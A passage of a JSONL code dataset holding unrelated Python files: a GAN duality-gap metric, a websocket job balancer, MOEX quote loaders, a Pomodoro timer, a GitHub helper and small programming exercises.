save the logs for estimating M1\n m2_dir (str) : Path to save the logs for estimating M2\n\n Returns:\n The Duality Gap.\n \"\"\"\n\n disc_trainer = Trainer(self.network_params,[self.discriminator_loss],log_dir=os.path.join(m1_dir,\"logs\"),recon=os.path.join(m1_dir,\"images\"),checkpoints=os.path.join(m1_dir,\"ckpts\",\"model_\"),n_critic=1,sample_size=self.sample_size,nrow=self.n_row,verbose=self.verbose) \n disc_trainer.load_model(load_path,model_only=True)\n disc_trainer.epochs = self.n_iter\n disc_trainer.loss_information[\"generator_iters\"] = 1\n disc_trainer.tune_report = \"DG\"\n\n if(perturb_std>0):\n with torch.no_grad():\n for x in disc_trainer.discriminator.parameters():\n x.add_(torch.normal(mean=0,std=perturb_std,size=x.size(),device=disc_trainer.device))\n \n gen_trainer = Trainer(self.network_params,[self.generator_loss],log_dir=os.path.join(m2_dir,\"logs\"),recon=os.path.join(m2_dir,\"images\"),checkpoints=os.path.join(m2_dir,\"ckpts\",\"model_\"),n_critic=1,sample_size=self.sample_size,nrow=self.n_row,verbose=self.verbose) \n gen_trainer.load_model(load_path,model_only=True)\n gen_trainer.epochs = self.n_iter\n gen_trainer.loss_information[\"discriminator_iters\"] = 1\n gen_trainer.tune_report = \"DG\"\n\n\n if(perturb_std>0):\n with torch.no_grad():\n for x in gen_trainer.generator.parameters():\n x.add_(torch.normal(mean=0,std=perturb_std,size=x.size(),device=gen_trainer.device))\n \n if(self.verbose):\n print(\"__\"*10,\"\\n{:30s}\\n\".format(\"Estimating M1\"),\"__\"*10)\n self.evaluate = self.evaluation_loss\n M1 = self.attempt_deviation(disc_trainer)\n if(self.verbose):\n print(\"M1 : \",M1)\n print(\"__\"*10,\"\\n{:30s}\\n\".format(\"Estimating M2\"),\"__\"*10)\n # M2 = 0\n self.evaluate = self.proximal_evaluation_loss\n M2 = self.attempt_deviation(gen_trainer)\n if(self.verbose):\n print(\"M2 : \",M2)\n disc_trainer.complete()\n gen_trainer.complete()\n \n return abs(M1 - M2)\n\n def metric_ops(self,ckpt_dir=None,ckpt_no=None):\n r\"\"\"Defines the set of operations necessary to compute the ClassifierScore.\n\n Args:\n generator (torchgan.models.Generator): The generator which needs to be evaluated.\n device (torch.device): Device on which the generator is present.\n\n Returns:\n The Classifier Score (scalar quantity)\n \"\"\"\n if(self.verbose):\n print(\"==\"*60,\"\\n{:^120s}\\n\".format(\"Estimating Proximal Duality Gap\"),\"==\"*60)\n load_path = ckpt_dir + str(ckpt_no-1)+ \".model\"\n m1_dir = os.path.join(self.log_dir,\"proximal_duality_gap\",\"M1\",\"iter_{}\".format(ckpt_no))\n m2_dir = os.path.join(self.log_dir,\"proximal_duality_gap\",\"M2\",\"iter_{}\".format(ckpt_no))\n\n start_time = time.time()\n score = self.calculate_score(load_path=load_path,m1_dir=m1_dir,m2_dir=m2_dir)\n time_taken = time.time()-start_time\n \n if(self.verbose):\n print(\"__\"*60,\"\\n{:^50s} : {}\\n\".format(\"Proximal Duality Gap\",score),\"__\"*60)\n self.history.append(abs(score))\n\n tune.report(score=np.mean(self.history))\n return score\n","sub_path":"torchgan/metrics/proximal_duality_gap.py","file_name":"proximal_duality_gap.py","file_ext":"py","file_size_in_byte":6799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"287909415","text":"from mcpi.minecraft import Minecraft\nmc = Minecraft.create()\n\nair = 0\nwater = 9\ncount = 0\n\nwhile count <= 1000000:\n pos = mc.player.getTilePos()\n blockBelow = mc.getBlock(pos.x, pos.y - 1, pos.z)\n\n if blockBelow != water and blockBelow != air:\n mc.setBlock(pos.x, pos.y - 1, pos.z, 41)\n","sub_path":"midas.py","file_name":"midas.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"281253936","text":"#4.Write a program which accept N numbers from user and store it into List.\n#Accept one another number from user and return frequency of that number from List.\n#Input : Number of elements : 11\n#Input Elements : 13 5 45 7 4 56 5 34 2 5 65\n#Element to search : 5\n#Output : 3\n\ndef frequency():\n num = int(input(\"Enter the numbers : \"))\n arr = list()\n for i in range(0,num):\n n = int(input(\"Enter the num in list :\"))\n arr.append(n)\n print(arr)\n p=0\n search = int(input(\"Enter the number to be searched : \"))\n for x in (arr):\n if search==x:\n p=p+1\n print(p)\n\n\nfrequency()","sub_path":"Assignment_3/Assignment3_4.py","file_name":"Assignment3_4.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"82620028","text":"class Solution:\n def findAnagrams(self, s: str, p: str) -> List[int]:\n if len(s) < len(p):\n return []\n\n result = []\n pdict = {}\n for c in p:\n pdict[c] = pdict.get(c, 0) + 1\n\n sdict = {}\n for i in range(len(p)):\n sdict[s[i]] = sdict.get(s[i], 0) + 1\n\n if sdict == pdict:\n result.append(0)\n\n for window_beg in range(len(s) - len(p)):\n sdict[s[window_beg]] -= 1\n if not sdict[s[window_beg]]:\n del sdict[s[window_beg]]\n\n window_beg = window_beg + 1\n window_end = window_beg + (len(p) - 1)\n sdict[s[window_end]] = sdict.get(s[window_end], 0) + 1\n if sdict == pdict:\n result.append(window_beg)\n\n return result\n\n","sub_path":"FindAllAnagramsInString.py","file_name":"FindAllAnagramsInString.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"68349404","text":"#!/usr/bin/env python3\n\nfrom autobahn.asyncio.websocket \\\n\timport WebSocketServerProtocol, WebSocketServerFactory\n\nimport logging as lg\nimport asyncio\nimport json\nimport random\nimport time\nimport os\nimport sys\n\nlg.basicConfig(stream = sys.stdout , level = lg.DEBUG)\n\nPROCESSORS_SERVER_IP = '0.0.0.0'\nPROCESSORS_SERVER_PORT = 12121\n\nCLIENTS_SERVER_IP = '0.0.0.0'\nCLIENTS_SERVER_PORT = 21212\n\nMAX_PONG_WAIT_TIME = 3 # Seconds\nPING_INTERVAL = 5 # Seconds\n\nMAX_FAILURES = 3\n\nIP_JOB_COUNT_LIMIT = 200\nIP_DURATION_LIMIT = 10 # Seconds\n\nSSL_CERT_FILE = '/etc/letsencrypt/live/pooljs.ir/cert.pem'\nSSL_KEY_FILE = '/etc/letsencrypt/live/pooljs.ir/privkey.pem'\n\nclass Job:\n\n\tdef __init__(self,code,websocket,args,identity):\n\t\tself.code = code\n\t\tself.websocket = websocket # Job owner websocket\n\t\tself.args = args\n\t\tself.identity = identity # Every Job has an identity in the client side\n\t\tself.fails = 0 # Jobs will be deleted from the list when having multiple failures (MAX_FAILURES)\n\nclass IpLimit:\n\n\tdef __init__(self,duration_limit,count_limit):\n\t\tself.duration_limit = duration_limit\n\t\tself.count_limit = count_limit\n\t\tself.expiry_time = None\n\t\tself.count = 0 # Count of Jobs ran by this IP since the last reset\n\nip_limit = {} # Mapping IP as strings to IpLimits\njob_id_queue = asyncio.Queue() # Queue of requested Job ids\njob_id_counter = 0 # A counter for generating Job ids\njobs = {} # Mapping Job ids as integers to Jobs\nprocessor_websockets = set()\nclient_websockets = set()\nprocessor_exists = asyncio.Condition()\n\n# Get current time in seconds\ndef now():\n\treturn int(time.time())\n\nclass ProcessorProtocol(WebSocketServerProtocol):\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.job_ids = []\n\t\tself.last_ping_time = None\n\t\tself.last_pong_time = None\n\n\tasync def onOpen(self):\n\t\t# Notify the balancer a new Processor has been added\n\t\tawait processor_exists.acquire()\n\t\tprocessor_websockets.add(self)\n\t\tprocessor_exists.notify_all()\n\t\tprocessor_exists.release()\n\n\tasync def onMessage(self, payload, isBinary):\n\t\tself.last_pong_time = now()\n\t\tmsg = json.loads(payload.decode('utf8'))\n\t\tjob_id = msg[\"id\"]\n\t\ttry:\n\t\t\tjobs[job_id].websocket.result_available(job_id,msg[\"result\"],False)\n\t\t\tjobs[job_id].websocket.job_ids.remove(job_id)\n\t\t\tdel jobs[job_id]\n\t\texcept KeyError:\n\t\t\tpass\n\t\tif job_id in self.job_ids:\n\t\t\tself.job_ids.remove(job_id)\n\n\t# Returns Job ids to revive\n\tdef cleanup(self):\n\t\tif self in processor_websockets:\n\t\t\tprocessor_websockets.remove(self)\n\t\tids = []\n\t\tfor job_id in self.job_ids:\n\t\t\ttry:\n\t\t\t\tjobs[job_id].fails += 1\n\t\t\t\t# Delete the Job from the list when it has multiple failures\n\t\t\t\tif jobs[job_id].fails > MAX_FAILURES:\n\t\t\t\t\t# Send and error to the Client\n\t\t\t\t\tjobs[job_id].websocket.result_available(job_id,None,True)\n\t\t\t\t\tdel jobs[job_id]\n\t\t\t\telse:\n\t\t\t\t\tids.append(job_id)\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\t\tdel self.job_ids[:]\n\t\treturn ids\n\t\t\n\tasync def onClose(self, wasClean, code, reason):\n\t\tids = self.cleanup()\n\t\tfor job_id in ids:\n\t\t\tawait job_id_queue.put(job_id)\n\t\tlg.debug(\"Processor closed. Cleanly?: {}. Code: {}, Reason: {}\".format(wasClean, code, reason))\n\nclass ClientProtocol(WebSocketServerProtocol):\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.job_ids = [] # For saving the Job ids requested by this Client\n\t\tself.buff = [] # For buffering the Job results\n\t\tself.buff_size = 1\n\t\tself.ip = None\n\t\tself.ip_limit = None\n\n\tdef onConnect(self, request):\n\t\tself.ip = request.peer.split(':')[1]\n\t\tif self.ip not in ip_limit:\n\t\t\tip_limit[self.ip] = IpLimit(IP_DURATION_LIMIT,IP_JOB_COUNT_LIMIT)\n\t\t# Each IP has a unique instance of IpLimit\n\t\tself.ip_limit = ip_limit[self.ip]\n\n\tdef onOpen(self):\n\t\tclient_websockets.add(self)\n\n\tdef result_available(self,job_id,result,error):\n\t\tif job_id in jobs:\n\t\t\tif error:\n\t\t\t\ttry:\n\t\t\t\t\tmessage = { \"type\": \"result\",\n\t\t\t\t\t\t\t\t\"results\": [[None,jobs[job_id].identity]],\n\t\t\t\t\t\t\t\t\"error\": True }\n\t\t\t\t\tself.sendMessage(json.dumps(message).encode('utf-8'),False)\n\t\t\t\texcept:\n\t\t\t\t\tpass # None of our business!\n\t\t\telse:\n\t\t\t\tself.buff.append([result,jobs[job_id].identity])\n\t\t\t\tif len(self.buff) >= self.buff_size:\n\t\t\t\t\tself.flush()\n\n\tdef flush(self):\n\t\ttry:\n\t\t\tmessage = { \"type\": \"result\",\n\t\t\t\t\t\t\"results\": self.buff,\n\t\t\t\t\t\t\"error\": False }\n\t\t\tself.sendMessage(json.dumps(message).encode('utf-8'),False)\n\t\t\tdel self.buff[:]\n\t\texcept:\n\t\t\tpass # None of our business!\n\n\tdef info(self):\n\t\ttry:\n\t\t\tmessage = { \"type\": \"info\",\n\t\t\t\t\t\t\"processorsCount\": len(processor_websockets),\n\t\t\t\t\t\t\"jobsCount\": len(jobs) }\n\t\t\tself.sendMessage(json.dumps(message).encode('utf-8'),False)\n\t\texcept:\n\t\t\tpass # None of our business!\n\n\tdef limit(self):\n\t\ttry:\n\t\t\tremaining = self.ip_limit.duration_limit - now() + self.ip_limit.expiry_time\n\t\t\tmessage = { \"type\": \"limit\",\n\t\t\t\t\t\t\"remaining\": remaining }\n\t\t\tself.sendMessage(json.dumps(message).encode('utf-8'),False)\n\t\texcept:\n\t\t\tpass # None of our business!\n\n\tasync def new_job(self,code,args,identity):\n\t\tglobal job_id_counter\n\t\tif self.ip_limit.count < self.ip_limit.count_limit:\n\t\t\tjobs[job_id_counter] = Job(code,self,args,identity)\n\t\t\tawait job_id_queue.put(job_id_counter)\n\t\t\tself.job_ids.append(job_id_counter)\n\t\t\tjob_id_counter += 1\n\t\t\tself.ip_limit.count += 1\n\t\t\treturn False\n\t\telse:\n\t\t\tself.ip_limit.expiry_time = now()\n\t\t\tself.limit()\n\t\t\treturn True\n\n\tasync def onMessage(self, payload, isBinary):\n\t\tmsg = json.loads(payload.decode('utf8'))\n\n\t\tif msg[\"type\"] == \"flush\":\n\t\t\tself.flush()\n\n\t\telif msg[\"type\"] == \"info\":\n\t\t\tself.info()\n\n\t\telif msg[\"type\"] == \"set\":\n\t\t\tif msg[\"property\"] == \"bufferSize\":\n\t\t\t\tself.buff_size = msg[\"value\"]\n\t\t\t\tself.flush()\n\n\t\telse:\n\t\t\tif self.ip_limit.expiry_time:\n\t\t\t\tif now() - self.ip_limit.expiry_time > self.ip_limit.duration_limit:\n\t\t\t\t\tself.ip_limit.expiry_time = None\n\t\t\t\t\tself.ip_limit.count = 0\n\t\t\t\telse:\n\t\t\t\t\tself.limit()\n\t\t\t\t\treturn\n\n\t\t\tif msg[\"type\"] == \"run\":\n\t\t\t\tawait self.new_job(msg[\"code\"],msg[\"args\"],msg[\"id\"])\n\n\t\t\telif msg[\"type\"] == \"for\":\n\t\t\t\tfor i in range(msg[\"start\"],msg[\"end\"]):\n\t\t\t\t\tif await self.new_job(msg[\"code\"],[i] + msg[\"extraArgs\"],msg[\"id\"]):\n\t\t\t\t\t\tbreak\n\n\t\t\telif msg[\"type\"] == \"forEach\":\n\t\t\t\tfor args in msg[\"argsList\"]:\n\t\t\t\t\tif await self.new_job(msg[\"code\"],args + msg[\"extraArgs\"],msg[\"id\"]):\n\t\t\t\t\t\tbreak\n\n\n\tasync def onClose(self, wasClean, code, reason):\n\t\tif self in client_websockets:\n\t\t\tclient_websockets.remove(self)\n\n\t\tfor j in self.job_ids:\n\t\t\ttry:\n\t\t\t\tdel jobs[j]\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\t\tdel self.job_ids[:]\n\n# Balance the Jobs between Processors\nasync def balancer():\n\twhile True:\n\t\tjob_id = await job_id_queue.get()\n\n\t\t# Wait for at least one Processor\n\t\tawait processor_exists.acquire()\n\t\tawait processor_exists.wait_for(lambda:len(processor_websockets) > 0)\n\t\tprocessor_exists.release()\n\n\t\twebsocket = random.sample(processor_websockets, 1)[0]\n\t\tif job_id in jobs:\n\t\t\ttry:\n\t\t\t\tmessage = { \"id\": job_id,\n\t\t\t\t\t\t\t\"code\": jobs[job_id].code,\n\t\t\t\t\t\t\t\"args\": jobs[job_id].args }\n\t\t\t\tif not websocket.last_ping_time or (websocket.last_pong_time and websocket.last_ping_time < websocket.last_pong_time):\n\t\t\t\t\twebsocket.last_ping_time = now()\n\t\t\t\twebsocket.sendMessage(json.dumps(message).encode('utf-8'),False)\n\t\t\t\twebsocket.job_ids.append(job_id)\n\t\t\texcept:\n\t\t\t\tlg.debug(\"An exception occurred while sending a Job.\")\n\t\t\t\tjob_id_queue.put(job_id) # Revive the job\n\n# Close not-responding sockets and revive Jobs\nasync def watcher():\n\twhile True:\n\t\tmust_close = []\n\t\tfor ws in processor_websockets:\n\t\t\tif ws.last_ping_time:\n\t\t\t\tif not ws.last_pong_time or ws.last_pong_time < ws.last_ping_time:\n\t\t\t\t\telapsed = now() - ws.last_ping_time\n\t\t\t\t\tif elapsed > MAX_PONG_WAIT_TIME:\n\t\t\t\t\t\tmust_close.append(ws)\n\t\tfor ws in must_close:\n\t\t\tlg.debug(\"Processor took too long to respond! Closing...\")\n\t\t\tids = ws.cleanup()\n\t\t\tfor job_id in ids:\n\t\t\t\tawait job_id_queue.put(job_id)\n\t\t\tws.sendClose()\n\t\tawait asyncio.sleep(PING_INTERVAL)\n\nif __name__ == '__main__':\n\tssl_ctx = None\n\tif os.path.isfile(SSL_CERT_FILE) and os.path.isfile(SSL_KEY_FILE):\n\t\timport ssl\n\t\tssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)\n\t\tssl_ctx.load_cert_chain(certfile = SSL_CERT_FILE, keyfile = SSL_KEY_FILE)\n\n\tloop = asyncio.get_event_loop()\n\n\tclientFactory = WebSocketServerFactory()\n\tclientFactory.protocol = ClientProtocol\n\tclientCoro = loop.create_server(clientFactory, CLIENTS_SERVER_IP, CLIENTS_SERVER_PORT, ssl=ssl_ctx)\n\n\tprocessorFactory = WebSocketServerFactory()\n\tprocessorFactory.protocol = ProcessorProtocol\n\tprocessorCoro = loop.create_server(processorFactory, PROCESSORS_SERVER_IP, PROCESSORS_SERVER_PORT, ssl=ssl_ctx)\n\n\tall_tasks = asyncio.gather(clientCoro,processorCoro,balancer(),watcher())\n\n\ttry:\n\t\tserver = loop.run_until_complete(all_tasks)\n\texcept KeyboardInterrupt:\n\t\t# In order to close properly when CTRL-C has been pressed\n\t\tall_tasks.cancel()\n\t\tloop.run_forever()\n\t\tall_tasks.exception()\n\tfinally:\n\t\tloop.close()\n","sub_path":"balancer.py","file_name":"balancer.py","file_ext":"py","file_size_in_byte":8856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"589627376","text":"\"\"\"Загрузка данных с MOEX.\"\"\"\nimport asyncio\nfrom datetime import datetime, timedelta\nfrom typing import List, Optional\n\nimport aiohttp\nimport aiomoex\nimport pandas as pd\nfrom pytz import timezone\n\nfrom poptimizer.data.adapters import logger\nfrom poptimizer.data.config import resources\nfrom poptimizer.data.ports import col, outer\n\n# Часовой пояс MOEX\nMOEX_TZ = timezone(\"Europe/Moscow\")\n# Наименование столбцов в загружаемых котировках\nOCHLV_COL = (\"begin\", \"open\", \"close\", \"high\", \"low\", \"value\")\n\n\nclass SecuritiesLoader(logger.LoaderLoggerMixin, outer.AbstractLoader):\n \"\"\"Информация о всех торгующихся акциях.\"\"\"\n\n def __init__(self) -> None:\n \"\"\"Кэшируются данные, чтобы сократить количество обращений к серверу MOEX.\"\"\"\n super().__init__()\n self._securities_cache: Optional[pd.DataFrame] = None\n self._cache_lock = asyncio.Lock()\n\n async def get(self, table_name: outer.TableName) -> pd.DataFrame:\n \"\"\"Получение списка торгуемых акций с регистрационным номером и размером лота.\"\"\"\n name = self._log_and_validate_group(table_name, outer.SECURITIES)\n if name != outer.SECURITIES:\n raise outer.DataError(f\"Некорректное имя таблицы для обновления {table_name}\")\n\n async with self._cache_lock:\n if self._securities_cache is not None:\n self._logger.info(f\"Загрузка из кэша {table_name}\")\n return self._securities_cache\n\n columns = (\"SECID\", \"REGNUMBER\", \"LOTSIZE\")\n http_session = resources.get_aiohttp_session()\n json = await aiomoex.get_board_securities(http_session, columns=columns)\n df = pd.DataFrame(json)\n df.columns = [col.TICKER, col.REG_NUMBER, col.LOT_SIZE]\n self._securities_cache = df.set_index(col.TICKER)\n\n return self._securities_cache\n\n\nclass IndexLoader(logger.LoaderLoggerMixin, outer.AbstractIncrementalLoader):\n \"\"\"Котировки индекса полной доходности с учетом российских налогов - MCFTRR.\"\"\"\n\n async def get(\n self,\n table_name: outer.TableName,\n last_index: Optional[str] = None,\n ) -> pd.DataFrame:\n \"\"\"Получение цен закрытия индекса MCFTRR.\"\"\"\n name = self._log_and_validate_group(table_name, outer.INDEX)\n if name != outer.INDEX:\n raise outer.DataError(f\"Некорректное имя таблицы для обновления {table_name}\")\n http_session = resources.get_aiohttp_session()\n json = await aiomoex.get_board_history(\n session=http_session,\n start=last_index,\n security=outer.INDEX,\n columns=(\"TRADEDATE\", \"CLOSE\"),\n board=\"RTSI\",\n market=\"index\",\n )\n df = pd.DataFrame(json)\n df.columns = [col.DATE, col.CLOSE]\n df[col.DATE] = pd.to_datetime(df[col.DATE])\n return df.set_index(col.DATE)\n\n\ndef _previous_day_in_moscow() -> str:\n \"\"\"Предыдущий день в Москве.\n\n Необходим для ограничения скачивания промежуточных свечек в последний день.\n \"\"\"\n date = datetime.now(MOEX_TZ)\n date += timedelta(days=-1)\n return str(date.date())\n\n\nasync def _find_aliases(http_session: aiohttp.ClientSession, reg_num: str) -> List[str]:\n \"\"\"Ищет все тикеры с эквивалентным регистрационным номером.\"\"\"\n json = await aiomoex.find_securities(http_session, reg_num)\n return [row[\"secid\"] for row in json if row[\"regnumber\"] == reg_num]\n\n\nasync def _download_many(http_session: aiohttp.ClientSession, aliases: List[str]) -> pd.DataFrame:\n \"\"\"Загрузка нескольких рядов котировок.\n\n Если пересекаются по времени, то берется ряд с максимальным оборотом.\n \"\"\"\n json_all_aliases = []\n for ticker in aliases:\n json = await aiomoex.get_market_candles(http_session, ticker, end=_previous_day_in_moscow())\n json_all_aliases.extend(json)\n\n df = pd.DataFrame(columns=OCHLV_COL)\n if json_all_aliases:\n df = df.append(json_all_aliases)\n df = df.sort_values(by=[\"begin\", \"value\"])\n return df.groupby(\"begin\", as_index=False).last()\n\n\nclass QuotesLoader(logger.LoaderLoggerMixin, outer.AbstractIncrementalLoader):\n \"\"\"Котировки акций.\"\"\"\n\n def __init__(self, securities_loader: SecuritiesLoader) -> None:\n \"\"\"Для загрузки нужны данные о регистрационных номерах.\"\"\"\n super().__init__()\n self._securities_loader = securities_loader\n\n async def get(\n self,\n table_name: outer.TableName,\n last_index: Optional[str] = None,\n ) -> pd.DataFrame:\n \"\"\"Получение котировок акций в формате OCHLV.\"\"\"\n ticker = self._log_and_validate_group(table_name, outer.QUOTES)\n\n http_session = resources.get_aiohttp_session()\n if last_index is None:\n df = await self._first_load(http_session, ticker)\n else:\n json = await aiomoex.get_market_candles(\n http_session,\n ticker,\n start=last_index,\n end=_previous_day_in_moscow(),\n )\n df = pd.DataFrame(json)\n\n df = df[list(OCHLV_COL)]\n df.columns = [\n col.DATE,\n col.OPEN,\n col.CLOSE,\n col.HIGH,\n col.LOW,\n col.TURNOVER,\n ]\n df[col.DATE] = pd.to_datetime(df[col.DATE])\n return df.set_index(col.DATE)\n\n async def _first_load(self, http_session: aiohttp.ClientSession, ticker: str) -> pd.DataFrame:\n \"\"\"Первая загрузка - поиск старых тикеров по регистрационному номеру и объединение рядов.\"\"\"\n table_name = outer.TableName(outer.SECURITIES, outer.SECURITIES)\n df = await self._securities_loader.get(table_name)\n reg_num = df.at[ticker, col.REG_NUMBER]\n aliases = await _find_aliases(http_session, reg_num)\n return await _download_many(http_session, aliases)\n","sub_path":"poptimizer/data/adapters/loaders/moex.py","file_name":"moex.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364566256","text":"from tkinter import *\nimport math\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 25\nSHORT_BREAK_MIN = 5\nLONG_BREAK_MIN = 20\nreps = 0\ntimer = None\n\n# ---------------------------- TIMER RESET ------------------------------- #\n\n\ndef reset_timer():\n window.after_cancel(timer)\n canvas.itemconfig(timer_text, text=\"00m:00s\")\n timer_label.config(text=\"Timer.\")\n checkmark_label.config(text=0)\n global reps\n reps = 0\n\n# ---------------------------- TIMER MECHANISM ------------------------------- # \n\n\ndef start_timer():\n global reps\n reps += 1\n work_secs = WORK_MIN * 60\n short_break_sec = SHORT_BREAK_MIN * 60\n long_break_sec = LONG_BREAK_MIN * 60\n\n if reps % 8 == 0:\n count_down(long_break_sec)\n timer_label.config(text=\"Break.\", fg=RED)\n\n elif reps % 2 == 0:\n count_down(short_break_sec)\n timer_label.config(text=\"Break.\", fg=PINK)\n\n else:\n count_down(work_secs)\n timer_label.config(text=\"Work.\", fg=GREEN)\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- # \n\n\ndef count_down(count):\n count_min = math.floor(count / 60)\n count_sec = round(count % 60)\n if count_sec < 10:\n count_sec = f\"0{count_sec}\"\n\n canvas.itemconfig(timer_text, text=f\"{count_min}m:{count_sec}s\")\n if count > 0:\n global timer\n timer = window.after(1000, count_down, count - 1)\n else:\n start_timer()\n marks = \"\"\n work_sessions = math.floor(reps/2)\n for _ in range(work_sessions):\n marks += check_marks\n checkmark_label.config(text=marks)\n\n# ---------------------------- UI SETUP ------------------------------- #\n\n\nwindow = Tk()\nwindow.title(\"Pomodoro Project.\")\nwindow.config(padx=100, pady=50, bg=YELLOW)\n\ncanvas = Canvas(width=200, height=260, bg=YELLOW, highlightthickness=0)\ntomato_img = PhotoImage(file=\"tomato.png\")\ncanvas.create_image(100, 130, image=tomato_img)\ntimer_text = canvas.create_text(100, 130, text=\"00m:00s\", fill=\"white\", font=(FONT_NAME, 35, \"bold\"))\ncanvas.grid(row=1, column=1)\n\ntimer_label = Label(fg=GREEN, bg=YELLOW, text=\"Timer\", font=(FONT_NAME, 40))\ntimer_label.grid(row=0, column=1)\n\nstart_button = Button(text=\"Start\", highlightthickness=0, command=start_timer)\nstart_button.grid(row=2, column=0)\n\ncheck_marks = \"✓\"\ncheckmark_label = Label(fg=GREEN, bg=YELLOW)\ncheckmark_label.grid(row=3, column=1)\n\nreset_button = Button(text=\"Reset\", highlightthickness=0, command=reset_timer)\nreset_button.grid(row=2, column=3)\n\n\nwindow.mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"194761547","text":"import argparse\nimport os\nfrom github import Github\n\nservice = Github(os.environ['PYCONCA_GITHUB_LOGIN_USERNAME'], os.environ['PYCONCA_GITHUB_LOGIN_PASSWORD'])\n\nparser = argparse.ArgumentParser(description='GitHub API Wrapper', add_help=False)\nparser.add_argument('--repo-user', default='pyconca', dest='repo_user', help='Username for the PyCon Canada GitHub account')\nparser.add_argument('--repo', default='2016-web', help='Name of the website repo')\n\n\nclass Git(object):\n\n def __init__(self, user, repo):\n self.user = user\n self.repo = repo\n\n def add_youtube_to_talk(self, slug, youtube_id):\n user = service.get_user(self.user)\n repo = user.get_repo(self.repo)\n path = '/web/markdown/talks/{}_en.markdown'.format(slug)\n contents = repo.get_file_contents(path)\n\n # Add YouTube ID to content\n decoded_content = contents.decoded_content.split('\\n')\n decoded_content = [line for line in decoded_content if 'youtube' not in line.lower()]\n i = -1\n for j in xrange(2):\n i = decoded_content.index('---', i + 1)\n decoded_content.insert(i, 'youtube: ' + youtube_id)\n decoded_content = '\\n'.join(decoded_content)\n\n repo.update_file(path, 'Added YouTube ID for ' + slug, decoded_content, contents.sha)\n","sub_path":"lib/git.py","file_name":"git.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404959013","text":"import cProfile\nimport functools\n\n\ndef test_fib(func):\n lst = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]\n for i, item in enumerate(lst):\n assert item == func(i)\n print(f'Test {i} Ok')\n\n\n@functools.lru_cache()\ndef fib(n):\n if n < 2:\n return n\n return fib(n - 1) + fib(n - 2)\n\n# cProfile.run(\"fib(15)\")\n# 1973/1 0.001 0.000 0.001 0.001 recyrsive_fibonachi.py:8(fib)\n\n# cProfile.run(\"fib(20)\")\n# 21894 function calls (4 primitive calls) in 0.010 seconds\n\n# \"recyrsive_fibonachi.fib(10)\"\n# 1000 loops, best of 5: 64.1 usec per loop\n\n# \"recyrsive_fibonachi.fib(15)\"\n# 1000 loops, best of 5: 450 usec per loop\n\n# \"recyrsive_fibonachi.fib(20)\"\n# 1000 loops, best of 5: 5.49 msec per loop\n","sub_path":"Forth_lesson/recyrsive_fibonachi.py","file_name":"recyrsive_fibonachi.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"229432326","text":"import sys\n\nsys.setrecursionlimit(10 ** 8)\nini = lambda: int(sys.stdin.readline())\ninm = lambda: map(int, sys.stdin.readline().split())\ninl = lambda: list(inm())\nins = lambda: sys.stdin.readline().rstrip()\ndebug = lambda *a, **kw: print(\"\\033[33m\", *a, \"\\033[0m\", **dict(file=sys.stderr, **kw))\n\nN = ins()\nK = ini()\n\n\ndef solve():\n M = len(N)\n dp_eq = [[0 for _ in range(K + 1)] for _ in range(M)]\n dp_less = [[0 for _ in range(K + 1)] for _ in range(M)]\n\n dp_eq[0][K - 1] = 1\n dp_less[0][K] = 1\n dp_less[0][K - 1] = ord(N[0]) - ord(\"0\") - 1\n for i in range(1, M):\n is_zero = N[i] == \"0\"\n for k in range(K + 1):\n if is_zero:\n dp_eq[i][k] = dp_eq[i - 1][k]\n elif k < K:\n dp_eq[i][k] = dp_eq[i - 1][k + 1]\n\n dp_less[i][k] = dp_less[i - 1][k]\n if k < K:\n dp_less[i][k] += dp_less[i - 1][k + 1] * 9\n if not is_zero:\n dp_less[i][k] += dp_eq[i - 1][k]\n if k < K:\n dp_less[i][k] += dp_eq[i - 1][k + 1] * (ord(N[i]) - ord(\"0\") - 1)\n return dp_eq[M - 1][0] + dp_less[M - 1][0]\n\n\nprint(solve())\n","sub_path":"Python_codes/p02781/s323539572.py","file_name":"s323539572.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"652797307","text":"'''\n\nРовно в одном\n\nНапишите функцию is_one_away(word1, word2), которая принимает в качестве аргументов два слова word1 и word2 и возвращает значение True если слова имеют одинаковую длину и отличаются ровно в 1 символе и False в противном случае.\n\n Примечание. Следующий программный код:\n\nprint(is_one_away('bike', 'hike'))\nprint(is_one_away('water', 'wafer'))\nprint(is_one_away('abcd', 'abpo'))\nprint(is_one_away('abcd', 'abcde'))\n\nдолжен выводить:\n\nTrue\nTrue\nFalse\nFalse\n\nSample Input:\n\nbike\nhike\n\nSample Output:\n\nTrue\n\n'''\n\ndef count_dif_symbols(s1, s2):\n count = 0\n for i in range(len(s1)):\n if s1[i] 